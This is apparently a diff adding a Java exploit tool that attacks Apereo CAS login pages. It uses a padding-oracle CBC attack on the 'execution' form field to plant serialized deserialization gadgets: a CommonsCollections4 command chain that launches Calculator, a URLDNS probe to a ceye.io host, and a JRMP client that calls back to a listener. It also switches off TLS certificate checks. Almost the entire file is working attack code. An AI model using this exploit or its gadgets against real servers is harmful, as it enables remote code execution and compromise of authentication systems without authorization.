|
| 1 | +package com.threedr3am.bug.cas; |
| 2 | + |
| 3 | +import com.threedr3am.bug.cas.support.CiphertextHeader; |
| 4 | +import com.threedr3am.bug.cas.support.PaddingOracleCBCForShiro; |
| 5 | +import com.threedr3am.bug.cas.support.PaddingOracleCBCForShiro.CBCResult; |
| 6 | +import com.threedr3am.bug.common.utils.HttpUtil; |
| 7 | +import com.threedr3am.bug.common.utils.Reflections; |
| 8 | +import com.threedr3am.bug.common.utils.TemplatesUtil; |
| 9 | +import java.io.ByteArrayOutputStream; |
| 10 | +import java.io.IOException; |
| 11 | +import java.io.ObjectOutputStream; |
| 12 | +import java.io.UnsupportedEncodingException; |
| 13 | +import java.net.InetAddress; |
| 14 | +import java.net.URL; |
| 15 | +import java.net.URLConnection; |
| 16 | +import java.net.URLStreamHandler; |
| 17 | +import java.rmi.server.ObjID; |
| 18 | +import java.security.cert.CertificateException; |
| 19 | +import java.security.cert.X509Certificate; |
| 20 | +import java.util.ArrayList; |
| 21 | +import java.util.Base64; |
| 22 | +import java.util.HashMap; |
| 23 | +import java.util.List; |
| 24 | +import java.util.Random; |
| 25 | +import java.util.regex.Matcher; |
| 26 | +import java.util.regex.Pattern; |
| 27 | +import java.util.zip.GZIPOutputStream; |
| 28 | +import javax.net.ssl.SSLContext; |
| 29 | +import org.apache.commons.collections4.bag.TreeBag; |
| 30 | +import org.apache.commons.collections4.comparators.TransformingComparator; |
| 31 | +import org.apache.commons.collections4.functors.InvokerTransformer; |
| 32 | +import org.apache.http.NameValuePair; |
| 33 | +import org.apache.http.client.entity.UrlEncodedFormEntity; |
| 34 | +import org.apache.http.client.methods.CloseableHttpResponse; |
| 35 | +import org.apache.http.client.methods.HttpPost; |
| 36 | +import org.apache.http.conn.ssl.SSLConnectionSocketFactory; |
| 37 | +import org.apache.http.impl.client.CloseableHttpClient; |
| 38 | +import org.apache.http.impl.client.HttpClientBuilder; |
| 39 | +import org.apache.http.impl.client.HttpClients; |
| 40 | +import org.apache.http.message.BasicNameValuePair; |
| 41 | +import org.apache.http.ssl.SSLContextBuilder; |
| 42 | +import org.apache.http.ssl.TrustStrategy; |
| 43 | +import sun.rmi.server.UnicastRef; |
| 44 | +import sun.rmi.transport.LiveRef; |
| 45 | +import sun.rmi.transport.tcp.TCPEndpoint; |
| 46 | + |
| 47 | +/** |
| 48 | + * @author threedr3am |
| 49 | + */ |
| 50 | +public class CasPaddingOracleCBC { |
| 51 | + |
| 52 | + private String userUrl; |
| 53 | + private boolean isSsl; |
| 54 | + private SSLConnectionSocketFactory sslsf; |
| 55 | + |
| 56 | + public static void main(String[] args) throws Exception { |
| 57 | + args = new String[] {"--attack", "http://localhost:8092/cas/login"}; |
| 58 | +// byte[] bytes = serialize(cc4(), true); |
| 59 | +// byte[] bytes = serialize(DNS("http://cas.xxxxx.ceye.io"), true); |
| 60 | + byte[] bytes = serialize(jrmpclient("127.0.0.1:23333"), true); |
| 61 | +// byte[] bytes = serialize(new String("xxxxx"), true); |
| 62 | + new CasPaddingOracleCBC(args).attack(bytes); |
| 63 | + } |
| 64 | + |
| 65 | + public CasPaddingOracleCBC(String[] args) { |
| 66 | + int argoff = 0; |
| 67 | + |
| 68 | + while (argoff < args.length && args[argoff].charAt(0) == '-') { |
| 69 | + if (args[argoff].equals("--attack")) { |
| 70 | + argoff++; |
| 71 | + userUrl = args[argoff++]; |
| 72 | + } else { |
| 73 | + argoff++; |
| 74 | + } |
| 75 | + } |
| 76 | + |
| 77 | + if (isSsl = userUrl.startsWith("https")) { |
| 78 | + try { |
| 79 | + SSLContext sslContext = new SSLContextBuilder() |
| 80 | + .loadTrustMaterial(null, new TrustStrategy() { |
| 81 | + // 信任所有 |
| 82 | + public boolean isTrusted(X509Certificate[] chain, |
| 83 | + String authType) |
| 84 | + throws CertificateException { |
| 85 | + return true; |
| 86 | + } |
| 87 | + }).build(); |
| 88 | + sslsf = new SSLConnectionSocketFactory( |
| 89 | + sslContext); |
| 90 | + } catch (Exception e) { |
| 91 | + e.printStackTrace(); |
| 92 | + } |
| 93 | + } |
| 94 | + } |
| 95 | + |
| 96 | + private void attack(byte[] bytes) throws UnsupportedEncodingException { |
| 97 | + String origin = null; |
| 98 | + String uuid = null; |
| 99 | + String html = HttpUtil.get(userUrl); |
| 100 | + Matcher matcher = Pattern.compile("name=\"execution\" value=\"(.+?)\"").matcher(html); |
| 101 | + if (matcher.find()) { |
| 102 | + String execution = matcher.group(1); |
| 103 | + if (execution != null && execution.length() > 0) { |
| 104 | + uuid = execution.split("_")[0]; |
| 105 | + origin = execution.split("_")[1]; |
| 106 | + } |
| 107 | + } |
| 108 | + String finalOrigin = origin; |
| 109 | + String finalUuid = uuid; |
| 110 | + CBCResult cbcResult = PaddingOracleCBCForShiro |
| 111 | + .paddingOracleCBC(bytes, data -> { |
| 112 | + try { |
| 113 | + byte[] originBytes = Base64.getDecoder().decode(finalOrigin.getBytes()); |
| 114 | + byte[] newOriginBytes = new byte[originBytes.length + data.length]; |
| 115 | + System.arraycopy(originBytes, 0, newOriginBytes, 0, originBytes.length); |
| 116 | + System.arraycopy(data, 0, newOriginBytes, originBytes.length, data.length); |
| 117 | + return request(finalUuid + '_' + Base64.getEncoder().encodeToString(newOriginBytes)); |
| 118 | + } catch (Exception e) { |
| 119 | + e.printStackTrace(); |
| 120 | + } |
| 121 | + return false; |
| 122 | + }); |
| 123 | + CiphertextHeader ciphertextHeader = new CiphertextHeader(cbcResult.getIv(), "aes128"); |
| 124 | + byte[] newOriginBytes = new byte[ciphertextHeader.encode().length + cbcResult.getCrypt().length]; |
| 125 | + System.arraycopy(ciphertextHeader.encode(), 0, newOriginBytes, 0, ciphertextHeader.encode().length); |
| 126 | + System.arraycopy(cbcResult.getCrypt(), 0, newOriginBytes, ciphertextHeader.encode().length, cbcResult.getCrypt().length); |
| 127 | + request(uuid + "_" + Base64.getEncoder().encodeToString(newOriginBytes)); |
| 128 | + } |
| 129 | + |
| 130 | + private boolean request(String data) throws UnsupportedEncodingException { |
| 131 | + HttpPost httpPost = new HttpPost(userUrl); |
| 132 | + List<NameValuePair> nameValuePairs = new ArrayList<>(); |
| 133 | + NameValuePair nameValuePair = new BasicNameValuePair("execution", data); |
| 134 | + nameValuePairs.add(nameValuePair); |
| 135 | + httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); |
| 136 | + try { |
| 137 | + HttpClientBuilder httpClientBuilder = HttpClients |
| 138 | + .custom(); |
| 139 | + if (isSsl) |
| 140 | + httpClientBuilder.setSSLSocketFactory(sslsf); |
| 141 | + |
| 142 | + CloseableHttpClient httpClient = null; |
| 143 | + CloseableHttpResponse response = null; |
| 144 | + try { |
| 145 | + httpClient = httpClientBuilder.build(); |
| 146 | + response = httpClient.execute(httpPost); |
| 147 | + return response.getStatusLine().getStatusCode() == 200; |
| 148 | + } finally { |
| 149 | + response.close(); |
| 150 | + httpClient.close(); |
| 151 | + } |
| 152 | + } catch (Exception e) { |
| 153 | + e.printStackTrace(); |
| 154 | + } |
| 155 | + return false; |
| 156 | + } |
| 157 | + |
| 158 | + private static Object cc4() throws Exception { |
| 159 | + Object templates = TemplatesUtil.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); |
| 160 | + |
| 161 | + // setup harmless chain |
| 162 | + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); |
| 163 | + |
| 164 | + // define the comparator used for sorting |
| 165 | + TransformingComparator comp = new TransformingComparator(transformer); |
| 166 | + |
| 167 | + // prepare CommonsCollections object entry point |
| 168 | + TreeBag tree = new TreeBag(comp); |
| 169 | + tree.add(templates); |
| 170 | + |
| 171 | + // arm transformer |
| 172 | + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); |
| 173 | + return tree; |
| 174 | + } |
| 175 | + |
| 176 | + public static Object DNS(final String ... url) throws Exception { |
| 177 | + |
| 178 | + //Avoid DNS resolution during payload creation |
| 179 | + //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. |
| 180 | + URLStreamHandler handler = new SilentURLStreamHandler(); |
| 181 | + |
| 182 | + HashMap ht = new HashMap(); // HashMap that will contain the URL |
| 183 | + URL u = new URL(null, url[0], handler); // URL to use as the Key |
| 184 | + ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. |
| 185 | + |
| 186 | + Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. |
| 187 | + |
| 188 | + return ht; |
| 189 | + } |
| 190 | + |
| 191 | + static class SilentURLStreamHandler extends URLStreamHandler { |
| 192 | + |
| 193 | + protected URLConnection openConnection(URL u) throws IOException { |
| 194 | + return null; |
| 195 | + } |
| 196 | + |
| 197 | + protected synchronized InetAddress getHostAddress(URL u) { |
| 198 | + return null; |
| 199 | + } |
| 200 | + } |
| 201 | + |
| 202 | + public static Object jrmpclient( final String ... command ) throws Exception { |
| 203 | + |
| 204 | + String host; |
| 205 | + int port; |
| 206 | + int sep = command[0].indexOf(':'); |
| 207 | + if ( sep < 0 ) { |
| 208 | + port = new Random().nextInt(65535); |
| 209 | + host = command[0]; |
| 210 | + } |
| 211 | + else { |
| 212 | + host = command[0].substring(0, sep); |
| 213 | + port = Integer.valueOf(command[0].substring(sep + 1)); |
| 214 | + } |
| 215 | + ObjID id = new ObjID(new Random().nextInt()); // RMI registry |
| 216 | + TCPEndpoint te = new TCPEndpoint(host, port); |
| 217 | + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); |
| 218 | + return ref; |
| 219 | + } |
| 220 | + |
| 221 | + private static byte[] serialize(Object o, boolean compression) throws IOException { |
| 222 | + ByteArrayOutputStream outBuffer = new ByteArrayOutputStream(); |
| 223 | + ObjectOutputStream out = null; |
| 224 | + |
| 225 | + try { |
| 226 | + if (compression) { |
| 227 | + out = new ObjectOutputStream(new GZIPOutputStream(outBuffer)); |
| 228 | + } else { |
| 229 | + out = new ObjectOutputStream(outBuffer); |
| 230 | + } |
| 231 | + |
| 232 | + out.writeObject(o); |
| 233 | + } catch (IOException e) { |
| 234 | + e.printStackTrace(); |
| 235 | + } finally { |
| 236 | + if (out != null) { |
| 237 | + out.close(); |
| 238 | + } |
| 239 | + |
| 240 | + } |
| 241 | + return outBuffer.toByteArray(); |
| 242 | + } |
| 243 | +} |
0 commit comments